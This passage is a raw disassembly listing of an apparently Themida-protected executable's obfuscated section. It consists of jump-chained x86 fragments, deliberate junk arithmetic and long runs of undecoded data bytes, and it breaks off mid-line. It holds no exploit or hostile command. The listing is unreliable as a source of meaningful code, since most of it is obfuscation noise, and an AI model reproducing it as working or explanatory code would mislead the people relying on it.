--------------------------------------------------------------------------- a13SP db '1,$3,$éÌP',0 align 4 loc_59D8A8: ; CODE XREF: Themida_:0059D260j add edi, edx push dword ptr [esp] pop edx add esp, 4 sub edi, ebx jmp loc_5A4325 ; --------------------------------------------------------------------------- loc_59D8B8: ; CODE XREF: Themida_:0059D65Fj mov ecx, esp add ecx, 4 push eax mov eax, 4 jmp loc_591A5C ; --------------------------------------------------------------------------- loc_59D8CB: ; CODE XREF: Themida_:005A48DBj sub esi, eax pop eax add esi, edx push eax jmp loc_59CC03 ; --------------------------------------------------------------------------- dw 3158h dd 0D7295BDAh, 8BFE895Ah, 8950243Ch, 4258E9E0h, 3C87FFFFh dd 34FF5C24h, 89535A24h, 0EC8155E3h, 4, 83243489h, 148904ECh dd 1FE6E924h, 0C7800000h, 0C0CFFE67h, 0DFE907EFh, 58000044h dd 75E7EA81h, 0F2290607h, 75E7C281h, 348B0607h, 1681E924h dd 34FF0000h, 0E5E95D24h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D937: ; CODE XREF: Themida_:005A2DD6j add edi, 4 xchg edi, [esp] jmp loc_5A3383 ; --------------------------------------------------------------------------- dw 0F701h dd 7588C781h, 0EF81331Eh, 328D7068h, 8124348Bh, 4C4h, 5FF82100h dd 43EE9h, 0BCF78100h, 313B2825h, 4CB1E9F8h, 895CFFFFh dd 99B22414h, 0E9C4B450h, 0FFFF41B6h, 4AE9CD01h, 1FFFF55h dd 34FF59CAh, 0FBE95E24h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D98F: ; CODE XREF: Themida_:00594EF5j mov [esp], ebx sub dword ptr [esp], 671363C3h push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_59B8C7 ; --------------------------------------------------------------------------- dw 0EDD1h dd 84BCD81h, 0EDC10EF2h, 0B8504D03h, 54F111Dh, 0FF6543E9h dd 57E901FFh, 0A3058EBFh, 0E9F90156h, 0FFFF947Eh ; --------------------------------------------------------------------------- loc_59D9D0: ; CODE XREF: Themida_:005A34DFj pop ebx jmp loc_598163 ; --------------------------------------------------------------------------- a3Sv db '3,$é¢~',0 align 2 loc_59D9DE: ; CODE XREF: Themida_:00590D9Ej pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_59D02F ; --------------------------------------------------------------------------- loc_59D9F0: ; CODE XREF: Themida_:0059D4C6j pop ecx jmp loc_590D9B ; --------------------------------------------------------------------------- dw 48Fh dd 441AE924h, 0EC830000h, 241C8904h, 91250CBBh, 0E55EE921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DA0E: ; CODE XREF: Themida_:0059E071j mov [esp], ebx mov bl, 52h shr bl, 5 push eax mov al, 5Dh add bl, al pop eax add ch, 20h add ch, bl sub ch, 20h push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 sub al, ch pop ecx sub esp, 4 mov [esp], ebx push 7383h jmp loc_59D720 ; --------------------------------------------------------------------------- word_59DA4A dw 0EB68h ; DATA XREF: Themida_:005907F0o dd 68000062h, 33FBh, 2AB468h, 3C37E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DA5E: ; CODE XREF: Themida_:005A0F98j sub edi, 0FFFFFFFFh push 5709h mov [esp], edx mov edx, 51C75F94h dec edx jmp loc_5A48EA ; --------------------------------------------------------------------------- db 1 dd 0D1C281EAh, 0E938F97Eh, 5950h, 0FE1471BDh, 0B1C58139h dd 294FC465h, 0B1ED81FDh, 5F4FC465h, 875DEB29h, 248B241Ch dd 6E7AE924h, 5451FFFFh, 4C18159h, 0E9000000h, 0FFFFCEA4h ; --------------------------------------------------------------------------- loc_59DAB4: ; CODE XREF: Themida_:00593B83j mov [esp], ecx push ebp mov ebp, 298840E1h shl ebp, 3 dec ebp push ebx jmp loc_5A4727 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0E6685204h, 89000002h, 4832424h, 0AEE90424h db 0F7h, 2 dup(0FFh) byte_59DADF db 0FFh ; DATA XREF: Themida_:00590A40o dd 669D1C77h, 1CD36659h, 0ACE99C24h db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DAEF: ; CODE XREF: Themida_:0059576Fj pop esp mov [esp], esp add dword ptr [esp], 4 pop edx push edi push ecx jmp loc_5A119D ; --------------------------------------------------------------------------- db 5 dd 4, 42Dh, 9276E900h, 6658FFFFh, 5CDEE951h, 0E6C1FFFFh dd 0AEBD5504h, 4517C84Ah, 303DED81h, 0CD8159DEh, 4DA73D9Eh dd 8104E5C1h, 8C5223F5h, 5DEE291Eh, 0FFFFC681h, 0F681FFFFh dd 4AB471C2h, 54E9F089h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DB4B: ; CODE XREF: Themida_:005911B8j add ebp, 4 push eax mov eax, 39F47192h jmp loc_59D26C ; --------------------------------------------------------------------------- dd 0B6ED8159h, 0F7613F4Bh, 4B951DDh, 31024234h, 3D80E9CDh dd 0C2830000h, 24143304h, 0FF4E9FE9h, 241487FFh, 47E32D5Ch dd 0F0013816h, 1647E305h, 17E95E38h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DB93: ; CODE XREF: Themida_:0059E296j pop ebx sub esi, 76C675B0h sub esi, ebp add esi, 76C675B0h jmp loc_598528 ; --------------------------------------------------------------------------- db 81h dd 4E9h, 240C8700h, 5258E9h db 0 ; --------------------------------------------------------------------------- loc_59DBB5: ; CODE XREF: Themida_:005A4E3Dj mov esi, esp jmp loc_5A1DAD ; --------------------------------------------------------------------------- dd 33243431h, 895C2434h, 0BEB7241Ch, 0E9CAB450h, 0FFFF5453h ; --------------------------------------------------------------------------- loc_59DBD0: ; CODE XREF: Themida_:00593516j push edx mov edx, 4 push edi mov edi, 6392182Fh shr edi, 5 jmp loc_5998BC ; --------------------------------------------------------------------------- dd 4BBh, 5BDD0100h, 31242C33h, 2C33242Ch, 24248B24h, 0FF2E9EE9h db 0FFh byte_59DBFD db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0059090Co dd 0ECBh ; --------------------------------------------------------------------------- loc_59DC04: ; CODE XREF: Themida_:00599EC1j mov ecx, [esp] jmp loc_59276C ; --------------------------------------------------------------------------- loc_59DC0C: ; CODE XREF: Themida_:005A2FFEj not edx sub edx, 32A6440Ch sub ebp, edx pop edx and ecx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 shr ecx, 7 jmp loc_59561D ; --------------------------------------------------------------------------- aBW db '[Á',0Bh,'"W',0 db 1 dd 6119E9CAh, 74FFFFFFh, 8F5F0424h, 248B2404h, 2C38124h dd 33000000h, 1C31241Ch, 241C3324h, 0D324248Bh, 0E99C2424h dd 0FFFF2E37h, 42474FFh, 24048F5Bh, 0E924248Bh, 18F4h dd 0E924048Bh, 3FB7h, 46418A2Dh, 3CB82D28h, 0EC8346EAh dd 24148904h, 0E957E289h, 0FFFFB854h ; --------------------------------------------------------------------------- loc_59DC94: ; CODE XREF: Themida_:00593F5Aj or eax, 420D6D8Eh jmp loc_59D7F6 ; --------------------------------------------------------------------------- loc_59DC9E: ; CODE XREF: Themida_:00592296j sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_59FA09 ; --------------------------------------------------------------------------- loc_59DCBA: ; CODE XREF: Themida_:005A11CCj push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 740D04C9h push ecx jmp loc_592515 ; --------------------------------------------------------------------------- loc_59DCEF: ; CODE XREF: Themida_:005A1F0Aj not ecx jmp loc_5916B9 ; --------------------------------------------------------------------------- loc_59DCF6: ; CODE XREF: Themida_:0059CDABj or ecx, ebx pop ebx xor ecx, 0E1E4AEFh sub ebp, ecx mov ecx, [esp] add esp, 4 and eax, ebp pop ebp shr eax, 12h xor eax, ecx xchg eax, ebx xor ebx, esi xor esi, ebx jmp loc_59728C ; --------------------------------------------------------------------------- dd 17CEBD55h, 0D14D3076h, 0DEED81EDh, 8114F6C7h, 1E5989EEh dd 81EE2977h, 1E5989C6h, 0EE815D77h, 47853C1Ah, 0E951FE01h dd 4D05h, 1261E1BBh, 0E5A0E968h, 0E089FFFFh, 405h, 4BD5500h dd 1000000h, 8AE95DE8h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DD67: ; CODE XREF: Themida_:00592B2Dj xor ebp, edx jmp loc_595EE1 ; --------------------------------------------------------------------------- loc_59DD6E: ; CODE XREF: Themida_:005A2B30j push 4CF448C4h mov ecx, [esp] jmp loc_591E8A ; --------------------------------------------------------------------------- db 89h dd 5ED9E9E0h, 0C89FFFFh, 5ACDE924h, 815B0000h, 0D413E4C7h dd 81EF017Dh, 0D413E4EFh, 70E95D7Dh, 0B000054h, 0E7840FC0h dd 0FF000059h, 34FF1C77h, 240C8B24h, 0FF83E3E9h, 243C89FFh dd 1BFh, 5FFE0100h, 0CE87D6F7h, 42E9D1F7h, 50FFFFC8h, 0C6685652h dd 5E1DC555h, 60D7CE81h, 0B9516E46h, 1C34409Ah, 353DC181h dd 0CE316393h, 2C815659h, 0EA67A424h, 0C5E95A2Bh, 89000048h dd 0E3E92424h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DDFF: ; CODE XREF: Themida_:005968B7j or bl, 71h push edx mov dl, 5Eh shl dl, 7 shr dl, 8 jmp loc_59D4FD ; --------------------------------------------------------------------------- dd 4BEh, 5EF50100h, 8B242C87h, 8DE92424h, 58FFFF6Bh, 0FFC2B5E9h dd 0EBC059FFh, 0D4E38008h, 8086E380h, 0C3807BCBh, 8989E9EBh dd 0D8F7FFFFh, 2E04842Dh, 6E8C176h, 7B41802Dh, 0BC132D3Bh dd 0C58980C9h, 0F6E9E958h, 5352FFFFh, 0AEB6ECB7h, 865BFE00h dd 86D0F6C6h, 535066C6h, 0E7E9CF88h, 1FFFF2Fh, 3E41E9F0h dd 0F930FFFFh, 785EE9h, 4C48300h, 81E18951h, 4C1h, 33BB5300h dd 5544C32Ch, 0C5206BDh, 4E5C114h, 114EC581h, 0EB29E2E8h dd 0D5F3815Dh, 563E0143h, 1F22AEBEh, 0D6F74E20h, 8106E6C1h dd 4D6431C6h, 0F8CE8158h, 0E94BB33Fh, 0FFFFECC7h ; --------------------------------------------------------------------------- loc_59DEC8: ; CODE XREF: Themida_:00591DC2j xchg ebx, [esp] pop esp push 4EBAh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5940BD ; --------------------------------------------------------------------------- db 80h, 0C3h, 0BAh dd 0BDA3E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DEEA: ; CODE XREF: Themida_:005A236Fj push 60DEh mov [esp], esi push dword ptr [esp+4] mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_593E20 ; --------------------------------------------------------------------------- dd 6858E328h, 13E6h, 52241C89h, 0C281E289h, 4, 0FFD0D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_59DF29: ; CODE XREF: Themida_:005A017Bj mov ebx, edx pop edx xor ebx, 0D6E0E55h xor eax, ebx jmp loc_5A421C ; --------------------------------------------------------------------------- db 1, 0D8h, 2Dh dd 7F304BE5h, 543ABF57h, 0EF81165Eh, 0DB182C4Bh, 8B5FF829h dd 0C483241Ch, 2BB5304h, 68000000h, 52F5h, 0E9241489h dd 418Fh, 5702E8C1h, 104085BFh, 0E9F801C0h, 0FFFFEA81h dd 0E9DBF75Eh, 0FFFF2C35h, 8124348Bh, 4C4h, 6800h, 2C290000h dd 0F5815D24h, 27E42ABh, 8D5CE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DF9E: ; CODE XREF: Themida_:005A4CC0j add ebx, ecx mov ecx, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59DFC1: ; CODE XREF: Themida_:00597AFFj pop esp or ebx, 486F28B0h shl ebx, 3 neg ebx push edi mov edi, 31EA24DAh xchg ebp, edi jmp loc_5A5219 ; --------------------------------------------------------------------------- dw 8359h dd 2C8704EDh, 771AE924h, 14890000h, 56A5BA24h, 0D1290202h dd 59CA015Ah, 290ABF57h, 0E9974984h, 382Fh ; --------------------------------------------------------------------------- loc_59E000: ; CODE XREF: Themida_:0059CCCBj add esi, ebx sub esi, 1F9214Eh pop ebx add esi, 4 jmp loc_59C7C9 ; --------------------------------------------------------------------------- dd 2C481h, 0D0000000h, 0E92434FFh, 6B4Dh, 0E904C483h, 33D1h dd 0C12497B8h, 5D8F765h, 65C1249Bh, 7F78C381h, 0C3016927h dd 7F78EB81h, 0E9586927h, 4D22h, 0BF6814Eh, 8171C901h dd 0EF007AEEh, 0A0EA8193h, 130563Fh, 316BE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E066: ; CODE XREF: Themida_:0059C311j add esp, 2 push 2119h jmp loc_59DA0E ; --------------------------------------------------------------------------- loc_59E076: ; CODE XREF: Themida_:00591FC0j push eax mov eax, esp push edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5A087B ; --------------------------------------------------------------------------- dw 0EB81h dd 6DEA6E3Dh, 1966EB81h, 0C8B0D4Fh, 4C48324h, 31241C33h dd 1C33241Ch, 4FF5C24h, 0D8E99C24h, 59FFFF29h, 0FF8498E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E0C9: ; CODE XREF: Themida_:00592767j add esp, 4 jmp loc_59931D ; --------------------------------------------------------------------------- loc_59E0D1: ; CODE XREF: Themida_:00598BCDj pop ebx jmp loc_5932E3 ; --------------------------------------------------------------------------- loc_59E0D7: ; CODE XREF: Themida_:0059B03Aj add esi, 0A58D9B1Eh add edx, esi push dword ptr [esp] pop esi add esp, 4 push edx jmp loc_5A2D65 ; --------------------------------------------------------------------------- db 52h dd 0FF6CBBE9h db 0FFh byte_59E0F5 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:0059091Co dd 0FF2434FFh, 32E92434h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E103: ; CODE XREF: Themida_:005A3F56j mov esi, [esp] add esp, 4 push esi sub esp, 4 mov [esp], eax jmp loc_599109 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 248B2434h, 24042124h, 9DACE99Ch, 0EA81FFFFh dd 74B152A4h, 31D6E9h, 0FFEA8100h, 0E9FFFFFFh, 17BEh, 0E905E3C1h dd 0FFFF310Eh, 4EC835Ch, 0BA241489h, 22DB6328h, 0FF90C6E9h dd 642D59FFh, 0E9635330h, 20CBh, 0E951D8F7h, 0FFFFDC0Ah dd 0C681E689h, 4, 11F4BB53h, 0DBF71AE8h, 0D3F7DBF7h, 1C381h dd 0F3810000h, 0E517EE08h, 875BDE29h, 248B2434h, 24048924h dd 77FEBB53h, 0BA5253DBh, 53DB77FAh, 895AD329h, 241C8BD8h dd 8104C483h, 0BE7CA5EEh, 74C68149h, 118623Bh, 1CB1E9C6h dd 0E2C00000h, 14C28004h, 0FF42E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E1CD: ; CODE XREF: Themida_:00591A03j push 48D9h mov [esp], ebp push 0A7F277Ah mov ebp, [esp] add esp, 4 jmp loc_59E833 ; --------------------------------------------------------------------------- db 52h, 0E9h, 88h dd 35FFFF9Eh, 7ECB99BBh, 0FF4586E9h, 0E9D1F7FFh, 77AEh dd 0E95EF101h, 0FFFF6F16h, 4246C81h, 0D9E6E0Ch, 4246C01h dd 4244481h, 0D9E6E0Ch, 4244481h, 40942B4h, 83242C8Bh dd 348B04C4h, 4C48324h, 4B951h, 0DFE90000h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E237: ; CODE XREF: Themida_:0059A198j add esi, ebx jmp loc_5A2495 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 27F968h, 240C8900h, 2BF57h, 0F8E90000h, 66000001h dd 8124148Bh, 2C4h, 4F02800h, 0EC835AA2h, 240C8904h, 18DAE9h dd 81E38900h, 4C3h, 4C38100h, 87000000h, 835C241Ch, 48904ECh dd 3CE95424h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E28F: ; CODE XREF: Themida_:0059D674j mov ebx, 7F32E4Fh add esi, ebx jmp loc_59DB93 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF27FBh, 83E9F201h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E2A7: ; CODE XREF: Themida_:00594C16j shl esi, 1 neg esi add esi, 5EE2DFFh xor edx, esi jmp loc_593255 ; --------------------------------------------------------------------------- dd 405E089h, 2D000000h, 4, 5C240487h, 68240C89h, 4, 59CB0159h dd 0FF5C62E9h, 24048FFFh, 2404315Ch, 0FF27B6E9h, 9C5066FFh dd 0FF27AEE9h, 243487FFh, 3124248Bh, 0E99C2404h, 0FFFF279Fh dd 0E92434FFh, 0FFFF7911h ; --------------------------------------------------------------------------- loc_59E304: ; CODE XREF: Themida_:0059E982j push eax jmp loc_5938BF ; --------------------------------------------------------------------------- dw 0EE01h dd 74FF565Dh, 8F5E0424h, 4EE92404h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E31B: ; CODE XREF: Themida_:005A5762j add edx, 4 xchg edx, [esp] pop esp jmp loc_5A2620 ; --------------------------------------------------------------------------- loc_59E32A: ; CODE XREF: Themida_:0059C4D3j neg edx jmp loc_5A4C50 ; --------------------------------------------------------------------------- db 88h, 0FAh, 0E9h dd 6E3h, 67BA525Dh, 810E0519h, 0D065E9CAh, 6E2C14Eh, 0ACE9DAF7h db 1Ah, 2 dup(0) byte_59E34F db 66h ; DATA XREF: Themida_:00590944o dd 5624048Bh, 0C681E689h, 4, 4EE81h, 34330000h, 24343124h dd 8B243433h, 2C892424h, 81E58924h, 4C5h, 4ED8100h, 33000000h dd 2C31242Ch, 0F64CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E38A: ; CODE XREF: Themida_:00594EBDj push edx mov edx, 79C035Bh jmp loc_5964AF ; --------------------------------------------------------------------------- db 81h, 0E1h, 13h dd 0E91D857Dh, 0FFFF395Ch, 0E9243487h, 0FFFFCCAAh ; --------------------------------------------------------------------------- loc_59E3A8: ; CODE XREF: Themida_:00595F87j push esp pop eax add eax, 4 push edx jmp loc_5A5850 ; --------------------------------------------------------------------------- loc_59E3B5: ; CODE XREF: Themida_:0059828Aj push edx mov edx, 4 jmp loc_5936B8 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 3BDBh, 24048B66h dd 4D02E9h db 0 ; --------------------------------------------------------------------------- loc_59E3DD: ; CODE XREF: Themida_:005926E6j sub eax, 2DBA5A7Ah jmp loc_595F7A ; --------------------------------------------------------------------------- loc_59E3E7: ; CODE XREF: Themida_:00598FDBj push 23BC2158h mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ebx jmp loc_592087 ; --------------------------------------------------------------------------- loc_59E406: ; CODE XREF: Themida_:005977CDj add ecx, 39611DDEh add ecx, ebx sub ecx, 39611DDEh jmp loc_5A59E9 ; --------------------------------------------------------------------------- loc_59E419: ; CODE XREF: Themida_:005961D0j neg ecx shr ecx, 7 inc ecx sub ecx, 10D2593Ch jmp loc_596D95 ; --------------------------------------------------------------------------- dw 895Bh dd 0DD015FFBh, 0FF3CF0E9h, 24248BFFh, 0E9E08950h, 7260h dd 6EDC15Eh, 2E22F581h, 1EE91B12h, 89000022h, 78F0E9F9h dd 0F781FFFFh, 7B6433DFh, 835FF801h, 48704E8h, 24895C24h dd 68A96824h, 4AE90000h, 8900004Fh, 0E6892434h, 4C681h dd 0C6810000h, 4, 0E9243487h, 0FFFF7F64h, 0C781E789h, 4 dd 4C781h, 3C870000h, 0EA815C24h, 0D8331D0h, 8124048Bh dd 4C4h, 8BD03100h, 0C4832414h, 66C33104h, 0DCE9008Fh dd 5BFFFF25h, 4C381h, 0EC810000h, 4, 57242C89h, 0FE146DBFh dd 0F5AAE939h, 48BFFFFh, 4C48124h, 0E9000000h, 0FFFFA09Eh dd 3302C083h, 4312404h, 24043324h, 48B665Ch, 39456824h dd 34890000h, 4EC8324h, 83242489h, 0E9042404h, 0FFFFA48Bh dd 4BB53h, 0D8010000h, 83241C8Bh, 2C8904ECh, 50E58924h dd 4B8h, 58C50100h, 8704C583h, 875C242Ch, 0FF5C2404h, 0E99C240Ch dd 0FFFF255Bh, 57D2F75Dh, 0C2EB35BFh, 0B67FE9F4h, 0EC83FFFFh dd 24148904h, 8904EC83h, 15E9240Ch db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E55F: ; CODE XREF: Themida_:0059A6B1j xor edx, ecx pop ecx jmp loc_591FB2 ; --------------------------------------------------------------------------- loc_59E567: ; CODE XREF: Themida_:0059BC46j pop ebx inc ecx sub esp, 4 mov [esp], edx jmp loc_594A6A ; --------------------------------------------------------------------------- aZslm db 'Zé‹M',0 db 0 ; --------------------------------------------------------------------------- loc_59E57D: ; CODE XREF: Themida_:005970BDj or eax, 6E70444Fh shl eax, 3 xor eax, 5559320Ah add ebx, eax jmp loc_597AAA ; --------------------------------------------------------------------------- db 1, 0CAh, 8Bh dd 0C481240Ch, 4, 8B241487h, 0F0312424h, 5E2434FFh, 0E904C483h dd 1856h, 5253D4F6h, 50E58851h, 0C288E888h, 8124048Bh dd 4C4h, 2573E900h, 0CB80FFFFh, 4E3C088h, 30A3B151h, 0DA8859CBh dd 80DAF65Bh, 73E9FFC2h, 5EFFFFC9h, 5C24048Fh, 0FF4715E9h dd 5FF901FFh, 0FF6532E9h, 0E9CE01FFh, 0FFFF6BACh ; --------------------------------------------------------------------------- loc_59E5FC: ; CODE XREF: Themida_:00594CEFj pop esp jmp loc_5A3FE3 ; --------------------------------------------------------------------------- dw 0DD89h dd 0AFBA525Bh, 81096210h, 8CF40CEAh, 0A37EE9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E616: ; CODE XREF: Themida_:005971B4j inc ebx push eax jmp loc_5A34C5 ; --------------------------------------------------------------------------- loc_59E61D: ; CODE XREF: Themida_:005A2B89j mov eax, 78912B80h shr eax, 3 sub esp, 4 mov [esp], ebp mov ebp, 4C63AB9h xor ebp, 2C2D4FE4h sub ebp, 3F7E4AD4h sub ebp, 0E2D5EEA0h add eax, ebp pop ebp xor eax, 54805E1Ah xor edx, eax pop eax and edi, edx pop edx sub edi, 18B3A685h jmp loc_5A0C93 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0E189240Ch, 4C181h dd 0BF570000h, 4, 335FF929h, 0C31240Ch, 240C3324h, 243C895Ch dd 0FF674CE9h, 0E95758FFh, 0FFFFF5A6h ; --------------------------------------------------------------------------- loc_59E698: ; CODE XREF: Themida_:00599132j sub ebp, 45703174h sub ebp, ecx add ebp, 45703174h jmp loc_595101 ; --------------------------------------------------------------------------- dd offset dword_455248+3E20h align 10h dd 89243489h, 4BF57E6h, 50000000h, 34455BB8h, 58C60159h dd 5000EE81h, 0FE014B8Eh, 50B8B850h, 0E1E914B7h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E6D7: ; CODE XREF: Themida_:00594C2Cj add ebp, 4 push eax mov eax, 710F204Ch push edi mov edi, 43CE7264h add eax, edi pop edi shr eax, 2 shl eax, 4 jmp loc_59A9CE ; --------------------------------------------------------------------------- loc_59E6F7: ; CODE XREF: Themida_:005936E0j push eax jmp loc_59BB69 ; --------------------------------------------------------------------------- byte_59E6FD db 8Fh, 2, 0E9h ; DATA XREF: Themida_:00590804o dd 0FFFF2397h, 0EE80D6F6h, 9FEE80FFh, 347568h, 7314E900h db 2 dup(0FFh) word_59E716 dw 6664h ; DATA XREF: Themida_:00590A30o dd 0E902B60Fh, 0FFFFD5C9h, 15DEE31h, 0DA295EF2h, 646CEA81h dd 0EA812EBCh, 43F9157Ch, 2361E95Bh, 0C89FFFFh, 2359E924h dd 0DE88FFFFh, 0F000585Bh, 0E924148Bh, 0FFFF25EFh ; --------------------------------------------------------------------------- loc_59E750: ; CODE XREF: Themida_:005A09ADj mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59690B ; --------------------------------------------------------------------------- dd 555FF831h, 37DDB951h, 0CD89671Ah, 0FFD1C2E9h, 5E95CFFh dd 33FFFFE3h, 215C240Ch, 34FF1C47h, 54555824h, 0D7BE565Dh dd 813AC83Bh, 0C83BD3F6h, 75C5813Ah, 12D612Fh, 75ED81F5h dd 5E2D612Fh, 5504C583h, 42474FFh, 0FF8DADE9h, 72DD68FFh dd 1C890000h, 49326824h, 8F540000h, 4812404h, 424h, 21685B00h dd 8900000Ch, 8CE92434h, 89000064h, 6758E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E7DE: ; CODE XREF: Themida_:0059BDA7j push edx jmp loc_5917B2 ; --------------------------------------------------------------------------- dd 33FDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E7EA: ; CODE XREF: Themida_:00595483j mov eax, 1D2522F0h add edx, eax pop eax jmp loc_5A4B64 ; --------------------------------------------------------------------------- db 57h dd 0BB535F54h, 4, 0FF7117E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E805: ; CODE XREF: Themida_:005A32EFj mov edx, 0BDFC6004h add ecx, edx jmp loc_5A5752 ; --------------------------------------------------------------------------- loc_59E811: ; CODE XREF: Themida_:005911BFj pop esi jmp loc_5997BB ; --------------------------------------------------------------------------- loc_59E817: ; CODE XREF: Themida_:00592923j pop ebp jmp loc_5A31E0 ; --------------------------------------------------------------------------- aHf db '[hä',7,0 dw 8900h dd 4682414h, 0FF000000h, 17E92434h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E833: ; CODE XREF: Themida_:0059E1E0j xor ebp, 32A2696Eh xor ebp, 38DD4E10h jmp loc_5A48BF ; --------------------------------------------------------------------------- dd 241C8966h, 880DB151h, 0F92859CFh, 0C8305B66h, 0E92434FFh dd 0FFFF69B1h, 5BFDF681h, 0F20112A2h, 8124348Bh, 4C4h dd 2300E900h, 1C890000h, 4EC8324h, 0BE243489h, 2F5122FFh dd 655DE9h, 0D3895D00h, 0FF540BE9h, 0D5E95BFFh db 10h, 2 dup(0) byte_59E893 db 0FFh ; DATA XREF: Themida_:005909C0o dd 34FF2434h, 24048B24h, 8104C483h, 4C4h, 59E95600h, 88FFFF46h dd 1C8B58C2h, 0E3895324h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 4B9240Ch, 1000000h, 240C8BCBh, 4C481h, 0C3810000h dd 4, 0FF65E3E9h, 241487FFh, 2424895Ch, 4240483h, 0E9240C8Bh dd 0FFFF7D9Ah ; --------------------------------------------------------------------------- loc_59E8F8: ; CODE XREF: Themida_:005A244Cj and edx, eax mov eax, [esp] add esp, 4 dec edx jmp loc_5A1671 ; --------------------------------------------------------------------------- dw 5259h dd 0FF522DE9h, 71E680FFh, 0E9E5F680h, 0FFFFAE8Eh dword_59E918 dd 0E26866ACh, 0C89662Fh, 8057B124h, 0E9D006C1h, 0C003E9C0h ; DATA XREF: Themida_:005909FCo dd 0C18002E9h, 0B0B151E7h, 0E9D3F180h, 65EBh, 5F246855h dd 2C8B7FDCh, 0E1895124h, 4C181h, 22E90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E953: ; CODE XREF: Themida_:00593855j xor eax, esi xor esi, eax not eax xor esi, eax xor eax, esi xor esi, eax xchg esi, ebp push 10EAh mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 pop dword ptr [esp] pop eax push edi jmp loc_59E304 ; --------------------------------------------------------------------------- loc_59E987: ; CODE XREF: Themida_:00593D75j or ebx, 3F09020Fh dec ebx jmp loc_596C95 ; --------------------------------------------------------------------------- db 57h dd 0E6403568h, 0EF815F02h, 9E592748h, 8EE9F889h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E9A7: ; CODE XREF: Themida_:0059ABB9j push eax mov eax, 2292926h shl eax, 3 or eax, 2B8F4E98h neg eax jmp loc_5914C4 ; --------------------------------------------------------------------------- dd 8B243C87h, 3CD32424h, 0FBE99C24h, 47000012h, 0FFAFBCE9h dd 0A16851FFh, 59203763h, 4F97BF57h, 0F9090EDDh, 4EC815Fh dd 89000000h, 6FE9240Ch, 87FFFF37h, 525C2404h, 0FF3C9FE9h db 0FFh byte_59E9F9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005909F4o dd 0C66BE924h, 487FFFFh, 0C1E95C24h, 0B9FFFF69h, 0F826F34h dd 1637E181h, 6BE95F0Ah, 51FFFFD6h, 0FFC873E9h, 0EC8156FFh dd 4, 68240489h, 214C63EFh, 3E8C158h, 4F03D925h, 0E955566Dh dd 4EDh, 658E953h, 685C0000h, 7C0Bh, 0B8240489h, 0C64209Fh dd 8158C329h, 2A6CE0EBh, 81C30142h, 2A6CE0C3h, 0E9555042h dd 0FFFFC278h, 92E9DDF7h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EA73: ; CODE XREF: Themida_:00599029j pop esp mov [esp], esi jmp loc_5928C5 ; --------------------------------------------------------------------------- dd 99E9595Ch, 5EFFFFDEh, 0A6BF5756h, 